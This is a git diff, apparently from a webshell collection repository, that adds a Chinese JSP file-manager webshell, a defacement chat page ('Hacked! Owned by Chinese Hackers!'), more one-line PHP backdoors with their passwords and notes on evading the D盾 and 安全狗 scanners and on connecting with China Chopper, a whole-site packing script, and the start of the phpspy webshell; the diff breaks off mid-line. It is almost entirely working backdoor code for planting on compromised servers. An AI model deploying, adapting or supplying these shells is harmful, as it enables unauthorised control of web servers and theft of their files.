FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } +if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                "); + sbEdit.append(""); + sbEdit.append("
                "); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                "); + sbCopy.append("目标文件:

                "); + sbCopy.append(" "); + sbCopy.append("

                 \r\n"); + sbCopy.append("

                "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

                "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

                建立文件或目录出错。"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JSP Shell 岁月联盟专用版本 + + + + + +

                + + + + + + +
                + + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                - - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
                + + + + + + + + + +
                +

                +
                www.SYUE.com ,All Rights Reserved. +
                Any question, please email me admin@syue.com diff --git "a/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" "b/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" new file mode 100644 index 0000000..0b6692e --- /dev/null +++ "b/jsp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.jsp" @@ -0,0 +1,51 @@ +<%@page import="java.text.SimpleDateFormat"%> +<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> +<% StringBuffer bf = null; + if (null == application.getAttribute("talks")) { + bf = new StringBuffer(); + } else { + bf = (StringBuffer) application.getAttribute("talks"); + } +%> + + + + +Chinese Hackers' Chating Room + + +
                +Hacked! Owned by Chinese Hackers!
                +

                菊花聊天室

                +
                +
                +

                + +

                Chating Room is Powered By Silic Group Hacker Army©2009-2012

                + +
                +<% +request.setCharacterEncoding("UTF-8"); +String p1 = request.getParameter("what"); +if (null != p1 && p1.length() > 0) { +p1 = p1.replaceAll("<","<"); +p1 = p1.replaceAll(">",">"); +String msg = "
                "+p1+"
                "+request.getRemoteAddr()+"的童鞋 >>> Fucked at: "+new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date())+"
                "; +bf.append(msg); +application.setAttribute("talks", bf); +response.setHeader("refresh","1"); +} +%> +
                +<% +StringBuffer b = (StringBuffer) application.getAttribute("talks"); +if (null != b && b.length() > 0) { +out.println(b.toString()); +} +%> + diff --git "a/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" "b/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" index 8e22d00..6ea4f6a 100644 --- "a/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" +++ "b/php/PHP\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206.php" @@ -1,3 +1,34 @@ + + +/*--------------------------------------------------------------------------------*/ + + + +/*--------------------------------------------------------------------------------*/ + + + +/*--------------------------------------------------------------------------------*/ + + +//密码mowang + +/*--------------------------------------------------------------------------------*/ + + +//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 c + +/*--------------------------------------------------------------------------------*/ + + //菜刀连接 躲避检测 密码c + +/*--------------------------------------------------------------------------------*/ + + +//密码longmo + +/*--------------------------------------------------------------------------------*/ + /*--------------------------------------------------------------------------------*/ @@ -84,4 +115,24 @@ class TestClass { } //密码TestClass /*--------------------------------------------------------------------------------*/ +过D盾过安全狗 + + + + +PHP整站打包程序-Ca3tie1修改版 + + + +
                + +"; + //目录列表 + $fdir = opendir($tdir); + while($file=readdir($fdir)) + { + if(is_dir(realpath($tdir."/".$file))) + { + if($file!=".." && $file!="."){ + echo " "; + echo "0 $file
                "; + } + elseif($file==".."){ + echo "返回上级目录
                "; + } + } + } + //文件列表 + $fdir = opendir($tdir); + while($file=readdir($fdir)) + { + if($file=='.'|| $file=='..') + continue; + + + if(is_file(realpath($tdir."/".$file))) + { echo " "; + echo "2  $file
                "; + } + } + +?> + +
                +包含下列文件类型: + + +(文件类型用"|"隔开,默认空则包含任意文件,例:如果需要打包php和jpg文件,则输入"php|jpg") + +
                +压缩文件保存到目录: + + +(留空为本目录,必须有写入权限) + +
                +压缩文件名称: + + +(.zip) + +
                +
                + + + + + +filefilters = explode('|',$filetype); + } + + //返回文件的修改时间格式. + //只为本类内部函数调用. + function unix2DosTime($unixtime = 0) + { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) + { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + + //初始化文件,建立文件目录, + //并返回文件的写入权限. + function startfile($path = 'dodo.zip') + { + $this->gzfilename=$path; + $mypathdir=array(); + + do + { + $mypathdir[] = $path = dirname($path); + } while($path != '.'); + + @end($mypathdir); + + do + { + $path = @current($mypathdir); + @mkdir($path); + } while(@prev($mypathdir)); + + if($this->fp=@fopen($this->gzfilename,"w")) + { + return true; + } + + return false; + } + + //添加一个文件到 zip 压缩包中. + function addfile($data, $name) + { + $name = str_replace('\\', '/', $name); + if(strrchr($name,'/')=='/') + return $this->adddir($name); + if(!empty($this->filefilters)) + { + if (!in_array(end(explode(".",$name)), $this->filefilters)) + { + return; + } + } + $dtime = dechex($this->unix2DosTime()); + $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + + //新添文件内容格式化: + $datastr = "\x50\x4b\x03\x04"; + $datastr .= "\x14\x00"; // ver needed to extract + $datastr .= "\x00\x00"; // gen purpose bit flag + $datastr .= "\x08\x00"; // compression method + $datastr .= $hexdtime; // last mod time and date + $datastr .= pack('V', $crc); // crc32 + $datastr .= pack('V', $c_len); // compressed filesize + $datastr .= pack('V', $unc_len); // uncompressed filesize + $datastr .= pack('v', strlen($name)); // length of filename + $datastr .= pack('v', 0); // extra field length + $datastr .= $name; + $datastr .= $zdata; + $datastr .= pack('V', $crc); // crc32 + $datastr .= pack('V', $c_len); // compressed filesize + $datastr .= pack('V', $unc_len); // uncompressed filesize + fwrite($this->fp,$datastr); //写入新的文件内容 + $my_datastr_len = strlen($datastr); + unset($datastr); + + //新添文件目录信息 + $dirstr = "\x50\x4b\x01\x02"; + $dirstr .= "\x00\x00"; // version made by + $dirstr .= "\x14\x00"; // version needed to extract + $dirstr .= "\x00\x00"; // gen purpose bit flag + $dirstr .= "\x08\x00"; // compression method + $dirstr .= $hexdtime; // last mod time & date + $dirstr .= pack('V', $crc); // crc32 + $dirstr .= pack('V', $c_len); // compressed filesize + $dirstr .= pack('V', $unc_len); // uncompressed filesize + $dirstr .= pack('v', strlen($name) ); // length of filename + $dirstr .= pack('v', 0 ); // extra field length + $dirstr .= pack('v', 0 ); // file comment length + $dirstr .= pack('v', 0 ); // disk number start + $dirstr .= pack('v', 0 ); // internal file attributes + $dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set + $dirstr .= pack('V',$this->datastr_len ); // relative offset of local header + $dirstr .= $name; + $this->dirstr .= $dirstr; //目录信息 + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function adddir($name) + { + $name = str_replace("\\", "/", $name); + $datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); + fwrite($this->fp,$datastr); //写入新的文件内容 + $my_datastr_len = strlen($datastr); + unset($datastr); + $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; + $this->dirstr .= $dirstr; //目录信息 + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + function createfile() + { + //压缩包结束信息,包括文件总数,目录信息读取指针位置等信息 + $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . + pack('v', $this -> file_count) . + pack('v', $this -> file_count) . + pack('V', $this -> dirstr_len) . + pack('V', $this -> datastr_len) . + "\x00\x00"; + fwrite($this->fp,$this->dirstr.$endstr); + fclose($this->fp); + } +} + +if(!trim($_REQUEST[zipname])) + $_REQUEST[zipname] = "dodozip.zip"; +else + $_REQUEST[zipname] = trim($_REQUEST[zipname]); + +if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip') + $_REQUEST[zipname] .= ".zip"; + +$_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir])); + +if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/') + $_REQUEST[todir] .= "/"; + +if($_REQUEST[todir]=="/") + $_REQUEST[todir] = "./"; + +function listfiles($dir="./") +{ + global $dodozip; + $sub_file_num = 0; + if(is_file("$dir")) + { + if(realpath($dodozip ->gzfilename)!=realpath("$dir")) + { + $dodozip -> addfile(implode('',file("$dir")),"$dir"); + return 1; + } + return 0; + } + + $handle=opendir("$dir"); + while ($file = readdir($handle)) + { + if($file=="."||$file=="..") + continue; + + if(is_dir("$dir/$file")) + { + $sub_file_num += listfiles("$dir/$file"); + } + else + { + if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file")) + { + $dodozip -> addfile(implode('',file("$dir/$file")),"$dir/$file"); + $sub_file_num ++; + } + } + } + + closedir($handle); + + if(!$sub_file_num) + $dodozip -> addfile("","$dir/"); + + return $sub_file_num; +} + +function num_bitunit($num) +{ + $bitunit=array(' B',' KB',' MB',' GB'); + for($key=0;$key=pow(2,10*$key)-1) + { //1023B 会显示为 1KB + $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; + } + } + return $num_bitunit_str; +} + +if(is_array($_REQUEST[dfile])) +{ + $dodozip = new PHPzip; + if($_REQUEST["file_type"] != NULL) + $dodozip -> SetFileFilter($_REQUEST["file_type"]); + if($dodozip -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")) + { + echo "正在添加压缩文件...

                "; + $filenum = 0; + foreach($_REQUEST[dfile] as $file) + { + if(is_file($file)) + { + if(!empty($dodozip -> filefilters)) + if (!in_array(end(explode(".",$file)), $dodozip -> filefilters)) + continue; + echo "2  $file
                "; + } + else + { + echo "0 $file
                "; + } + $filenum += listfiles(realpath($tdir."/".$file)); + } + $dodozip -> createfile(); + + echo "
                压缩完成,共添加 $filenum 个文件.
                $_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")"; + } + else + { + echo "$_REQUEST[todir]$_REQUEST[zipname] 不能写入,请检查路径或权限是否正确.
                "; + } +} +?> + +
                +
                +Ca3tie1's Blog +
                + + diff --git "a/php/phpspy-\344\270\255\346\226\207\347\211\210.php" "b/php/phpspy-\344\270\255\346\226\207\347\211\210.php" new file mode 100644 index 0000000..bbe211d --- /dev/null +++ "b/php/phpspy-\344\270\255\346\226\207\347\211\210.php" @@ -0,0 +1,1956 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#BBBBBB;} + table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; +} + +//文件管理 +class packdir +{ + var $out = ''; + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function packdir($array) + { + if(@function_exists('gzcompress')) + { + for($n = 0;$n < count($array);$n++) + { + $array[$n] = urldecode($array[$n]); + $fp = @fopen($array[$n], 'r'); + $filecode = @fread($fp, @filesize($array[$n])); + @fclose($fp); + $this -> filezip($filecode,basename($array[$n])); + } + @closedir($zhizhen); + $this->out = $this->packfile(); + return true; + } + return false; + } + function at($atunix = 0) + { + $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); + if ($unixarr['year'] < 1980) + { + $unixarr['year'] = 1980; + $unixarr['mon'] = 1; + $unixarr['mday'] = 1; + $unixarr['hours'] = 0; + $unixarr['minutes'] = 0; + $unixarr['seconds'] = 0; + } + return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); + } + function filezip($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->at($time)); + $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function packfile() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; + } +} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} + +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} + +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} + +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + $zip = new packdir; + if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} + return '打包所选文件失败'; + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = 